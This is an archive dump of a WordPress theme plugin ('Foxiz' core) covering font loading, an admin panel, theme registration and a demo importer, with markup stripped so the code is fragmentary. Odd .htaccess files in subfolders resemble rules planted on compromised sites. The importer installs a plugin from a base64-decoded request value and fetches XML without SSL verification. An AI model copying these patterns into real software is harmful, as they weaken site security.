count( $settings ) && ! empty( $fonts['project_id'] ) ) { wp_enqueue_style( 'adobe-fonts', esc_url_raw( 'https://use.typekit.net/' . esc_html( $fonts['project_id'] ) . '.css' ), array(), false, 'all' ); } } /** * @param $project_id * * @return array * */ public function get_data( $project_id ) { $data = array(); $api_url = 'https://typekit.com/api/v1/json/kits/' . $project_id . '/published'; $response = wp_remote_get( $api_url, array( 'timeout' => 60 ) ); if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) { $_POST['rb-project-id-notice'] = true; return $data; } $response = wp_remote_retrieve_body( $response ); $response = json_decode( $response, true ); $font_families = $response['kit']['families']; if ( is_array( $font_families ) && count( $font_families ) ) { foreach ( $font_families as $font_family ) { $family_name = $font_family['slug']; $data[ $family_name ] = array( 'family' => $font_family['name'], 'backup' => str_replace( '"', '', $font_family['css_stack'] ), 'variations' => array(), ); if ( isset( $font_family['css_names'][0] ) ) { $data[ $family_name ]['css_names'] = $font_family['css_names'][0]; } foreach ( $font_family['variations'] as $variation ) { $variations = str_split( $variation ); if ( $variations[0] === 'n' ) { $font_variation = $variations[1] . '00'; } else { $font_variation = $variations[1] . '00' . $variations[0]; } array_push( $data[ $family_name ]['variations'], $font_variation ); } } } else { $_POST['rb-project-empty-notice'] = true; } return $data; } /** notification */ public function notification() { if ( isset( $_POST['rb-fonts-nonce'] ) && wp_verify_nonce( $_POST['rb-fonts-nonce'], 'rb-fonts' ) ) : if ( ! empty( $_POST['rb-project-id-notice'] ) ) : ?>

$setting ) { if ( ! empty( $setting ) ) { $css_output .= $tag . '{' . $this->parse_setting( $setting ) . '}'; } } } if ( ! wp_style_is( 'foxiz-style' ) ) { wp_add_inline_style( 'adobe-fonts', $css_output ); } else { wp_add_inline_style( 'foxiz-style', $css_output ); } } } } /** load */ Rb_Init_Fonts::get_instance(); fonts/.htaccess000064400000001626147207023670007510 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] core.php000064400000022447147207023670006226 0ustar00 'admin/import/import.php', 'ThemeOptions' => 'admin/tops/tops.php', 'Translation' => 'admin/translation/translation.php', 'AdobeFonts' => 'admin/fonts/fonts.php', 'SystemInfo' => 'admin/system-info/system-info.php', ); static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } public function __construct() { self::$instance = $this; $this->set_panel(); $this->load_sub_pages(); $this->get_params(); add_action( 'admin_menu', array( $this, 'register_admin' ) ); add_action( 'admin_init', array( 'RB_AJAX_IMPORTER', 'get_instance' ) ); add_action( 'wp_ajax_rb_register_theme', array( $this, 'register_theme' ) ); add_action( 'wp_ajax_rb_deregister_theme', array( $this, 'deregister_theme' ) ); add_action( 'wp_ajax_rb_fetch_translation', array( $this, 'reload_translation' ) ); add_action( 'wp_ajax_rb_update_translation', array( $this, 'update_translation' ) ); add_action( 'admin_init', array( $this, 'welcome_redirect' ) ); } /** set panel */ public function set_panel() { $this->panel_slug = 'admin/templates/template'; $this->panel_name = 'panel'; $this->panel_title = esc_html__( 'Foxiz Admin', 'foxiz-core' ); $this->panel_menu_slug = 'foxiz-admin'; $this->panel_icon = 'dashicons-awards'; $this->panel_template = 'admin_template'; } /** get params */ public function get_params() { $this->params = wp_parse_args( $this->get_purchase_data(), array( 'purchase_code' => '', 'is_activated' => '', 'system_info' => rbSubPageSystemInfo::system_info() ) ); return false; } /** register admin */ public function register_admin() { if ( ! defined( 'FOXIZ_THEME_VERSION' ) ) { return false; } $panel_hook_suffix = add_menu_page( $this->panel_title, $this->panel_title, 'administrator', $this->panel_menu_slug, array( $this, $this->panel_template ), $this->panel_icon, 3 ); add_action( 'load-' . $panel_hook_suffix, array( $this, 'register_assets' ) ); foreach ( self::$sub_pages as $name => $path ) { $sub_page_class = 'rbSubPage' . $name; $sub_page = new $sub_page_class(); if ( ! empty( $sub_page->menu_slug ) ) { $page_hook_suffix = add_submenu_page( $this->panel_menu_slug, $sub_page->page_title, $sub_page->menu_title, $sub_page->capability, $sub_page->menu_slug, array( $sub_page, 'render' ) ); add_action( 'load-' . $page_hook_suffix, array( $this, 'register_assets' ) ); } } } /** load sub page */ public function load_sub_pages() { self::$sub_pages = apply_filters( 'rb_register_sub_page', self::$sub_pages ); foreach ( self::$sub_pages as $name => $path ) { $file_name = FOXIZ_CORE_PATH . $path; if ( file_exists( $file_name ) ) { require_once $file_name; } else { unset( self::$sub_pages[ $name ] ); } } return false; } /** purchase data */ public function get_purchase_data() { return get_option( $this->purchase_info ); } /** get purchase code */ public function get_purchase_code() { $data = $this->get_purchase_data(); if ( is_array( $data ) && isset( $data['purchase_code'] ) ) { return $data['purchase_code']; } return false; } /** get import */ public function get_imports() { $data = get_option( $this->import_info, [] ); if ( is_array( $data ) && isset( $data['listing'] ) ) { return $data['listing']; } return false; } /** load js and css */ public function register_assets() { add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_styles' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); } /** enqueue style */ public function enqueue_styles() { wp_enqueue_style( 'rb-panel-styles', plugins_url( FOXIZ_REL_PATH . '/admin/assets/panel.css' ) ); } /** enqueue script */ public function enqueue_scripts() { wp_register_script( 'rb-admin-core', plugins_url( FOXIZ_REL_PATH . '/admin/assets/panel.js' ), array( 'jquery' ), FOXIZ_CORE_VERSION, true ); wp_localize_script( 'rb-admin-core', 'foxizAdminCore', $this->localize_params() ); wp_enqueue_script( 'rb-admin-core' ); } /** admin template */ public function admin_template() { echo rb_admin_get_template_part( $this->panel_slug, $this->panel_name, $this->params ); } /** localize params */ public function localize_params() { return apply_filters( 'rb_admin_localize_data', array( 'ajaxUrl' => admin_url( 'admin-ajax.php' ) ) ); } /** register theme */ public function register_theme() { if ( empty( $_POST ) || empty ( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'rb-core' ) ) { wp_send_json_error( esc_html__( 'Sorry, you are not allowed to do this action.', 'foxiz-core' ), 404 ); die(); } if ( empty( $_POST['purchase_code'] ) || empty( $_POST['email'] ) ) { wp_send_json_error( esc_html__( 'Empty data! Please check input form.', 'foxiz-core' ), 404 ); die(); } if ( ! is_email( $_POST['email'] ) ) { wp_send_json_error( esc_html__( 'Wrong email format! Please check input form.', 'foxiz-core' ), 404 ); die(); } $url = add_query_arg( array( 'purchase_code' => sanitize_text_field( $_POST['purchase_code'] ), 'email' => esc_html( $_POST['email'] ), 'theme' => wp_get_theme()->get( 'Name' ), 'action' => 'register' ), $this->apiSever ); $response = $this->validation_api( $url ); if ( empty( $response['code'] ) || 200 !== $response['code'] ) { wp_send_json_error( esc_html( $response['message'] ), 404 ); die(); } else { if ( ! empty( $response['data']['purchase_info'] ) ) { update_option( $this->purchase_info, $response['data']['purchase_info'] ); } if ( ! empty( $response['data']['import'] ) ) { update_option( $this->import_info, $response['data']['import'] ); } wp_send_json_success( esc_html( $response['message'] ), 200 ); die(); } } /** deregister_theme */ public function deregister_theme() { if ( empty( $_POST ) || empty ( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'rb-core' ) || ! $this->get_purchase_code() ) { wp_send_json_error( esc_html__( 'Sorry, you are not allowed to do this action.', 'foxiz-core' ), 404 ); die(); } $url = add_query_arg( array( 'purchase_code' => $this->get_purchase_code(), 'action' => 'deregister' ), $this->apiSever ); $response = $this->validation_api( $url ); delete_option( $this->purchase_info ); delete_option( $this->import_info ); if ( empty( $response['code'] ) || 200 !== $response['code'] ) { wp_send_json_error( esc_html( $response['message'] ), 404 ); } else { wp_send_json_success( esc_html( $response['message'] ), 200 ); } die(); } /** validate */ public function validation_api( $url ) { $params = array( 'user-agent' => 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), 'timeout' => 60 ); $response = wp_remote_get( $url, $params ); if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) { wp_send_json_error( esc_html__( 'Bad Request.', 'foxiz-core' ), 404 ); die(); } $response = wp_remote_retrieve_body( $response ); return json_decode( $response, true ); } /** * welcome redirect */ public function welcome_redirect() { $redirect = get_transient( '_rb_welcome_page_redirect' ); delete_transient( '_rb_welcome_page_redirect' ); if ( ! empty( $redirect ) ) { wp_safe_redirect( add_query_arg( array( 'page' => $this->panel_menu_slug ), esc_url( admin_url( 'admin.php' ) ) ) ); } } /** * reload translation */ function reload_translation() { if ( empty( $_POST ) || empty ( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'rb-core' ) ) { wp_send_json_error( esc_html__( 'Sorry, you are not allowed to do this action.', 'foxiz-core' ), 404 ); die(); } delete_option( 'rb_translation_data' ); wp_send_json_success( 'OK' ); } /** * update translation */ public function update_translation() { if ( empty( $_POST ) || empty ( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'rb-core' ) ) { wp_send_json_error( esc_html__( 'Sorry, you are not allowed to do this action.', 'foxiz-core' ), 404 ); die(); } $data = $_POST; unset( $data['_nonce'] ); unset( $data['action'] ); $data = array_map( 'sanitize_text_field', $data ); update_option( 'rb_translated_data', $data ); wp_send_json_success( esc_html__( 'OK', 'foxiz-core' ) ); die(); } } } import/import.php000064400000007223147207023670010115 0ustar00demos_path = apply_filters( 'rb_importer_demos_path', trailingslashit( plugin_dir_path( __FILE__ ) . 'demos' ) ); $this->demos_url = apply_filters( 'rb_importer_demos_url', trailingslashit( plugin_dir_url( __FILE__ ) . 'demos' ) ); $this->demos = RB_ADMIN_CORE::get_instance()->get_imports(); } /** set sub page */ public function set_sub_page() { $this->page_title = esc_html__( 'Demo Importer', 'foxiz-core' ); $this->menu_title = esc_html__( 'Demo Importer', 'foxiz-core' ); $this->menu_slug = 'rb-demo-importer'; $this->capability = 'administrator'; } public function get_slug() { if ( ! $this->validate() ) { return 'admin/templates/validate'; } else { return 'admin/import/template'; } } public function get_name() { if ( ! $this->validate() ) { return 'redirect'; } else { return false; } } /** * @param $url * @param string $method * @param false $context * @param null $fields * * @return bool * init file */ public function init_filesystem( $url, $method = '', $context = false, $fields = null ) { if ( ! empty( $this->creds ) ) { return true; } require_once ABSPATH . '/wp-admin/includes/template.php'; require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; if ( false === ( $this->creds = request_filesystem_credentials( $url, '', false, $context, null ) ) ) { return false; } if ( ! WP_Filesystem( $this->creds ) ) { request_filesystem_credentials( $url, '', true, $context, null ); return false; } return true; } /** create index */ public function create_index() { $this->init_filesystem( wp_nonce_url( '?page=' . $this->menu_slug ) ); global $wp_filesystem; $this->filesystem = $wp_filesystem; $index_path = trailingslashit( $this->demos_path ) . 'index.php'; if ( ! file_exists( $index_path ) ) { $this->filesystem->put_contents( $index_path, 'create_index(); $params = array(); $imported = get_option( 'rb_imported_demos' ); $params['demos'] = $this->demos; if ( is_array( $params['demos'] ) && count( $params['demos'] ) ) { foreach ( $params['demos'] as $directory => $values ) { if ( empty( $params['demos'][ $directory ]['preview'] ) ) { $params['demos'][ $directory ]['preview'] = $this->demos_url . $directory . '.jpg'; } if ( is_array( $imported ) && ! empty( $imported[ $directory ] ) ) { $params['demos'][ $directory ]['imported'] = $imported[ $directory ]; } else { $params['demos'][ $directory ]['imported'] = 'none'; } } } $params = apply_filters( 'rb_importer_params', $params ); return $params; } } }import/ajax.php000064400000027664147207023670007541 0ustar00get_imports(); } /** * @return string */ function register_tos_id() { if ( ! defined( 'FOXIZ_TOS_ID' ) ) { return 'RUBY_OPTIONS'; } return FOXIZ_TOS_ID; } /** install external plugins */ public function install_package() { if ( ! current_user_can( 'install_plugins' ) ) { die( 0 ); } if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'rb-core' ) || ! isset ( $_REQUEST['slug'] ) || ! isset ( $_REQUEST['package'] ) ) { die( 0 ); } $package = base64_decode( $_REQUEST['package'] ); if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $url = add_query_arg( array( 'action' => 'upload-plugin', 'plugin' => urlencode( sanitize_text_field( $_REQUEST['slug'] ) ), ), 'update.php' ); $skin_args = array( 'type' => 'upload', 'title' => '', 'url' => esc_url_raw( $url ), ); $skin = new Plugin_Installer_Skin( $skin_args ); $upgrader = new Plugin_Upgrader( $skin ); $upgrader->install( $package ); die(); } /** importer */ public function importer() { $this->load(); if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'rb-core' ) || ! isset ( $_REQUEST['directory'] ) ) { die( 0 ); } $demos = $this->get_demos(); $directory = sanitize_text_field( $_REQUEST['directory'] ); $import_all = sanitize_text_field( $_REQUEST['import_all'] ); $import_content = sanitize_text_field( $_REQUEST['import_content'] ); $import_pages = sanitize_text_field( $_REQUEST['import_pages'] ); $import_opts = sanitize_text_field( $_REQUEST['import_opts'] ); $import_widgets = sanitize_text_field( $_REQUEST['import_widgets'] ); if ( ! isset( $demos[ $directory ] ) ) { wp_die( esc_html__( 'Not found!', 'foxiz-core' ) ); } $demo = $demos[ $directory ]; $data = array( 'directory' => $directory, 'theme_option_name' => $this->register_tos_id(), 'import_all' => $import_all, 'import_content' => $import_content, 'import_pages' => $import_pages, 'import_opts' => $import_opts, 'import_widgets' => $import_widgets, ); if ( isset( $demo['content'] ) ) { $data['content'] = $demo['content']; } if ( isset( $demo['pages'] ) ) { $data['pages'] = $demo['pages']; } if ( isset( $demo['theme_options'] ) ) { $data['theme_options'] = $demo['theme_options']; } if ( isset( $demo['categories'] ) ) { $data['categories'] = $demo['categories']; } if ( isset( $demo['widgets'] ) ) { $data['widgets'] = $demo['widgets']; } $this->before_import(); new RB_INIT_IMPORTER( $data ); } /** import progress */ public function before_import() { delete_option( 'rb_import_progress' ); add_action( 'wp_import_posts', array( $this, 'import_progress_setup' ) ); add_action( 'add_attachment', array( $this, 'update_progress' ) ); add_action( 'edit_attachment', array( $this, 'update_progress' ) ); add_action( 'wp_insert_post', array( $this, 'update_progress' ) ); add_filter( 'wp_import_post_data_raw', array( $this, 'check_post' ) ); } public function import_progress_setup( $posts ) { $progress_array = array( 'total_post' => count( $posts ), 'imported_count' => 0, 'remaining' => count( $posts ) ); update_option( 'rb_import_progress', $progress_array ); return $posts; } /** update progress */ public function update_progress() { $post_count = get_option( 'rb_import_progress' ); if ( is_array( $post_count ) ) { if ( $post_count['remaining'] > 0 ) { $post_count['remaining'] = $post_count['remaining'] - 1; $post_count['imported_count'] = $post_count['imported_count'] + 1; update_option( 'rb_import_progress', $post_count ); } else { $post_count['remaining'] = 0; $post_count['imported_count'] = $post_count['total_post']; update_option( 'rb_import_progress', $post_count ); } } } /** check posts */ public function check_post( $post ) { if ( ! post_type_exists( $post['post_type'] ) ) { $this->update_progress(); return $post; } if ( $post['status'] == 'auto-draft' ) { $this->update_progress(); return $post; } if ( 'nav_menu_item' == $post['post_type'] ) { $this->update_progress(); return $post; } $post_exists = post_exists( $post['post_title'], '', $post['post_date'] ); if ( $post_exists && get_post_type( $post_exists ) == $post['post_type'] ) { $this->update_progress(); return $post; } return $post; } /** * get_progress */ public function get_progress() { $progress = get_option( 'rb_import_progress' ); wp_send_json( $progress ); die(); } /** * @param string $directory */ function after_import_content( $directory = '' ) { $demos = $this->get_demos(); if ( ! empty( $demos[ $directory ]['homepage'] ) ) { $page = get_page_by_title( $demos[ $directory ]['homepage'] ); if ( ! empty( $page->ID ) ) { update_option( 'page_on_front', $page->ID ); update_option( 'show_on_front', 'page' ); $blog = get_page_by_title( 'Blog' ); if ( ! empty( $blog->ID ) ) { update_option( 'page_for_posts', $blog->ID ); } } else { update_option( 'page_on_front', 0 ); update_option( 'show_on_front', 'posts' ); } } /** setup WC */ if ( class_exists( 'WC_Install' ) ) { WC_Install::create_pages(); } /** setup menu */ $main_menu = get_term_by( 'name', 'main', 'nav_menu' ); $mobile_menu = get_term_by( 'name', 'mobile', 'nav_menu' ); $quick_menu = get_term_by( 'name', 'mobile-quick-access', 'nav_menu' ); $menu_locations = array(); if ( isset( $main_menu->term_id ) ) { $menu_locations['foxiz_main'] = $main_menu->term_id; } if ( isset( $mobile_menu->term_id ) ) { $menu_locations['foxiz_mobile'] = $mobile_menu->term_id; } if ( isset( $quick_menu->term_id ) ) { $menu_locations['foxiz_mobile_quick'] = $quick_menu->term_id; } set_theme_mod( 'nav_menu_locations', $menu_locations ); } function register_demo_widgets() { /** empty sidebars */ $sidebars_widgets['foxiz_sidebar_default'] = array(); $sidebars_widgets['foxiz_sidebar_more'] = array(); $sidebars_widgets['foxiz_sidebar_fw_footer'] = array(); $sidebars_widgets['foxiz_sidebar_footer_1'] = array(); $sidebars_widgets['foxiz_sidebar_footer_2'] = array(); $sidebars_widgets['foxiz_sidebar_footer_3'] = array(); $sidebars_widgets['foxiz_sidebar_footer_4'] = array(); $sidebars_widgets['foxiz_sidebar_footer_5'] = array(); $sidebars_widgets['foxiz_entry_top'] = array(); $sidebars_widgets['foxiz_entry_bottom'] = array(); $sidebars_widgets['foxiz_sidebar_multi_sb1'] = array(); $sidebars_widgets['foxiz_sidebar_multi_sb2'] = array(); $sidebars_widgets['foxiz_sidebar_multi_next-posts'] = array(); $sidebars_widgets['foxiz_sidebar_multi_single'] = array(); $sidebars_widgets['foxiz_sidebar_multi_blog'] = array(); $sidebars_widgets['foxiz_sidebar_multi_contact'] = array(); /** add sidebars */ $theme_options = get_option( 'foxiz_theme_options' ); $theme_options['multi_sidebars'] = array( 'sb1', 'sb2', 'next-posts', 'single', 'blog', 'contact' ); update_option( 'sidebars_widgets', $sidebars_widgets ); update_option( FOXIZ_TOS_ID, $theme_options ); /** register sidebar to import */ register_sidebar( array( 'name' => 'More Menu Section', 'id' => 'foxiz_sidebar_more', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'sb1', 'id' => 'foxiz_sidebar_multi_sb1', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'sb2', 'id' => 'foxiz_sidebar_multi_sb2', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'next-posts', 'id' => 'foxiz_sidebar_multi_next-posts', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'single', 'id' => 'foxiz_sidebar_multi_single', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'contact', 'id' => 'foxiz_sidebar_multi_contact', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); register_sidebar( array( 'name' => 'blog', 'id' => 'foxiz_sidebar_multi_blog', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ) ); return false; } /** remove duplicate menu */ function duplicate_menu() { $deleted_menus = array( 'main', 'mobile', 'mobile-quick-access', 'more-1', 'more-2', 'more-3', 'footer-1', 'footer-2', 'footer-3', 'footer-4', 'footer-5', 'quick-link', 'top-categories', 'advertise', 'footer-copyright', 'logged' ); foreach ( $deleted_menus as $menu ) { wp_delete_nav_menu( $menu ); } return false; } /** * remove cache */ public function remove_dynamic_style() { delete_option( 'foxiz_style_cache' ); } } } import/demos/index.php000064400000000034147207023670011012 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] import/template.php000064400000011023147207023670010407 0ustar00

'.esc_html__( 'Sorry, you are not allowed to install demos on this site.', 'foxiz-core' ).'

' ); } if ( empty( $demos ) || ! is_array( $demos ) ) { wp_die( '

'.esc_html__('Something went wrong, Try to re-activate the theme again!', 'foxiz-core').'

'); }; $nonce = wp_create_nonce( 'rb-core' ); ?>

Importing theme demo, It will allow you to quickly edit everything instead of creating content from scratch. Please DO NOT navigate away from this page while the importer is processing. This may take up to 5 ~ 7 minutes, Depend on the server speed.

We do not have right to include some images of demos in the content due to copyright issue, so images will look different with the demo. The structures of demos will still be left intact so can use your own images in their places if you desire.

Import Tips:

- Refresh this page and re-import if the process cannot complete after 5 minutes.

- You can choose Only Pages, Widgets and Theme Options to import if you site already have data.

- Don't need to install or activate Recommended & Optional plugins if you don't want to use it.

- Install and activate Woocommerce plugin before importing if you would like setup shop.

- Online Documentation: http://help.themeruby.com/foxiz

$demo ) : if ( ! empty( $demo['imported'] ) && is_array( $demo['imported'] ) ) { $imported = true; $item_classes = 'rb-demo-item active is-imported'; $import_message = esc_html__( 'Already Imported', 'foxiz-core' ); } else { $item_classes = 'rb-demo-item not-imported'; $imported = false; $import_message = esc_html__( 'Import Demo', 'foxiz-core' ); } ?>
<?php esc_attr( $demo['name'] ); ?> 0%

import/parts.php000064400000012264147207023670007735 0ustar00'; echo '

' . esc_html__( 'Select Content', 'foxiz-core' ) . '

'; echo '
'; echo ''; echo '
'; echo ''; echo ''; echo ''; echo ''; echo '
'; echo ''; } } if ( ! function_exists( 'rb_importer_plugins_form' ) ) { /** * @param $plugins * @param string $nonce */ function rb_importer_plugins_form( $plugins, $nonce = '' ) { $site_plugins = get_plugins(); $repo = 'https://wordpress.org/plugins/'; foreach ( $plugins as $plugin ) { if ( empty( $plugin['name'] ) || empty( $plugin['slug'] ) ) { continue; } $classname = 'plugin-el'; if ( ! empty( $plugin['class'] ) ) { $classname .= ' ' . $plugin['class']; } if ( empty( $plugin['file'] ) ) { $plugin_plug = $plugin['slug'] . '/' . $plugin['slug'] . '.php'; } else { $plugin_plug = $plugin['slug'] . '/' . $plugin['file'] . '.php'; } if ( array_key_exists( $plugin_plug, $site_plugins ) ) { /** plugin installed */ echo '
'; echo '' . esc_html( $plugin['name'] ); if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; if ( is_plugin_active( $plugin_plug ) ) { echo '' . esc_html__( 'Activated', 'foxiz-core' ) . ''; } else { $active_link = wp_nonce_url( admin_url( 'plugins.php?action=activate&plugin=' . $plugin_plug ), 'activate-plugin_' . $plugin_plug ); echo '' . esc_html__( 'Activate', 'foxiz-core' ) . ''; } echo '
'; } else { /** plugin not install */ if ( ! empty( $plugin['source'] ) ) { $classname = 'plugin-el'; if ( ! empty( $plugin['class'] ) ) { $classname .= ' ' . $plugin['class']; } echo '
'; echo '' . esc_html( $plugin['name'] ); if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; echo ''; echo '' . esc_html__( 'Install Package', 'foxiz-importer' ) . ''; echo '
'; } else { $install_link = wp_nonce_url( add_query_arg( array( 'action' => 'install-plugin', 'plugin' => $plugin['slug'] ), admin_url( 'update.php' ) ), 'install-plugin' . '_' . $plugin['slug'] ); echo '
'; echo '' . esc_html( $plugin['name'] ) .''; if ( ! empty( $plugin['info'] ) ) { echo '(' . esc_html( $plugin['info'] ) . ')'; } echo ''; echo ''; echo '' . esc_html__( 'Install', 'foxiz-core' ) . ''; echo '
'; } } } } } import/lib/parsers/class-wxr-parser-simplexml.php000064400000017731147207023670016262 0ustar00 600, 'sslverify' => false ) ) ); $body = wp_remote_retrieve_body( $response ); $success = $dom->loadXML( $body ); } // $success = $dom->loadXML( file_get_contents( $file ) ); if ( ! is_null( $old_value ) ) { libxml_disable_entity_loader( $old_value ); } if ( ! $success || isset( $dom->doctype ) ) { return new WP_Error( 'SimpleXML_parse_error', __( 'There was an error when reading this WXR file', 'wordpress-importer' ), libxml_get_errors() ); } $xml = simplexml_import_dom( $dom ); unset( $dom ); // halt if loading produces an error if ( ! $xml ) return new WP_Error( 'SimpleXML_parse_error', __( 'There was an error when reading this WXR file', 'wordpress-importer' ), libxml_get_errors() ); $wxr_version = $xml->xpath('/rss/channel/wp:wxr_version'); if ( ! $wxr_version ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); $wxr_version = (string) trim( $wxr_version[0] ); // confirm that we are dealing with the correct file format if ( ! preg_match( '/^\d+\.\d+$/', $wxr_version ) ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); $base_url = $xml->xpath('/rss/channel/wp:base_site_url'); $base_url = (string) trim( isset( $base_url[0] ) ? $base_url[0] : '' ); $base_blog_url = $xml->xpath('/rss/channel/wp:base_blog_url'); if ( $base_blog_url ) { $base_blog_url = (string) trim( $base_blog_url[0] ); } else { $base_blog_url = $base_url; } $namespaces = $xml->getDocNamespaces(); if ( ! isset( $namespaces['wp'] ) ) $namespaces['wp'] = 'http://wordpress.org/export/1.1/'; if ( ! isset( $namespaces['excerpt'] ) ) $namespaces['excerpt'] = 'http://wordpress.org/export/1.1/excerpt/'; // grab authors foreach ( $xml->xpath('/rss/channel/wp:author') as $author_arr ) { $a = $author_arr->children( $namespaces['wp'] ); $login = (string) $a->author_login; $authors[$login] = array( 'author_id' => (int) $a->author_id, 'author_login' => $login, 'author_email' => (string) $a->author_email, 'author_display_name' => (string) $a->author_display_name, 'author_first_name' => (string) $a->author_first_name, 'author_last_name' => (string) $a->author_last_name ); } // grab cats, tags and terms foreach ( $xml->xpath('/rss/channel/wp:category') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $category = array( 'term_id' => (int) $t->term_id, 'category_nicename' => (string) $t->category_nicename, 'category_parent' => (string) $t->category_parent, 'cat_name' => (string) $t->cat_name, 'category_description' => (string) $t->category_description ); foreach ( $t->termmeta as $meta ) { $category['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $categories[] = $category; } foreach ( $xml->xpath('/rss/channel/wp:tag') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $tag = array( 'term_id' => (int) $t->term_id, 'tag_slug' => (string) $t->tag_slug, 'tag_name' => (string) $t->tag_name, 'tag_description' => (string) $t->tag_description ); foreach ( $t->termmeta as $meta ) { $tag['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $tags[] = $tag; } foreach ( $xml->xpath('/rss/channel/wp:term') as $term_arr ) { $t = $term_arr->children( $namespaces['wp'] ); $term = array( 'term_id' => (int) $t->term_id, 'term_taxonomy' => (string) $t->term_taxonomy, 'slug' => (string) $t->term_slug, 'term_parent' => (string) $t->term_parent, 'term_name' => (string) $t->term_name, 'term_description' => (string) $t->term_description ); foreach ( $t->termmeta as $meta ) { $term['termmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } $terms[] = $term; } // grab posts foreach ( $xml->channel->item as $item ) { $post = array( 'post_title' => (string) $item->title, 'guid' => (string) $item->guid, ); $dc = $item->children( 'http://purl.org/dc/elements/1.1/' ); $post['post_author'] = (string) $dc->creator; $content = $item->children( 'http://purl.org/rss/1.0/modules/content/' ); $excerpt = $item->children( $namespaces['excerpt'] ); $post['post_content'] = (string) $content->encoded; $post['post_excerpt'] = (string) $excerpt->encoded; $wp = $item->children( $namespaces['wp'] ); $post['post_id'] = (int) $wp->post_id; $post['post_date'] = (string) $wp->post_date; $post['post_date_gmt'] = (string) $wp->post_date_gmt; $post['comment_status'] = (string) $wp->comment_status; $post['ping_status'] = (string) $wp->ping_status; $post['post_name'] = (string) $wp->post_name; $post['status'] = (string) $wp->status; $post['post_parent'] = (int) $wp->post_parent; $post['menu_order'] = (int) $wp->menu_order; $post['post_type'] = (string) $wp->post_type; $post['post_password'] = (string) $wp->post_password; $post['is_sticky'] = (int) $wp->is_sticky; if ( isset($wp->attachment_url) ) $post['attachment_url'] = (string) $wp->attachment_url; foreach ( $item->category as $c ) { $att = $c->attributes(); if ( isset( $att['nicename'] ) ) $post['terms'][] = array( 'name' => (string) $c, 'slug' => (string) $att['nicename'], 'domain' => (string) $att['domain'] ); } foreach ( $wp->postmeta as $meta ) { $post['postmeta'][] = array( 'key' => (string) $meta->meta_key, 'value' => (string) $meta->meta_value ); } foreach ( $wp->comment as $comment ) { $meta = array(); if ( isset( $comment->commentmeta ) ) { foreach ( $comment->commentmeta as $m ) { $meta[] = array( 'key' => (string) $m->meta_key, 'value' => (string) $m->meta_value ); } } $post['comments'][] = array( 'comment_id' => (int) $comment->comment_id, 'comment_author' => (string) $comment->comment_author, 'comment_author_email' => (string) $comment->comment_author_email, 'comment_author_IP' => (string) $comment->comment_author_IP, 'comment_author_url' => (string) $comment->comment_author_url, 'comment_date' => (string) $comment->comment_date, 'comment_date_gmt' => (string) $comment->comment_date_gmt, 'comment_content' => (string) $comment->comment_content, 'comment_approved' => (string) $comment->comment_approved, 'comment_type' => (string) $comment->comment_type, 'comment_parent' => (string) $comment->comment_parent, 'comment_user_id' => (int) $comment->comment_user_id, 'commentmeta' => $meta, ); } $posts[] = $post; } return array( 'authors' => $authors, 'posts' => $posts, 'categories' => $categories, 'tags' => $tags, 'terms' => $terms, 'base_url' => $base_url, 'base_blog_url' => $base_blog_url, 'version' => $wxr_version ); } } import/lib/parsers/class-wxr-parser-xml.php000064400000013442147207023670015043 0ustar00wxr_version = $this->in_post = $this->cdata = $this->data = $this->sub_data = $this->in_tag = $this->in_sub_tag = false; $this->authors = $this->posts = $this->term = $this->category = $this->tag = array(); $xml = xml_parser_create( 'UTF-8' ); xml_parser_set_option( $xml, 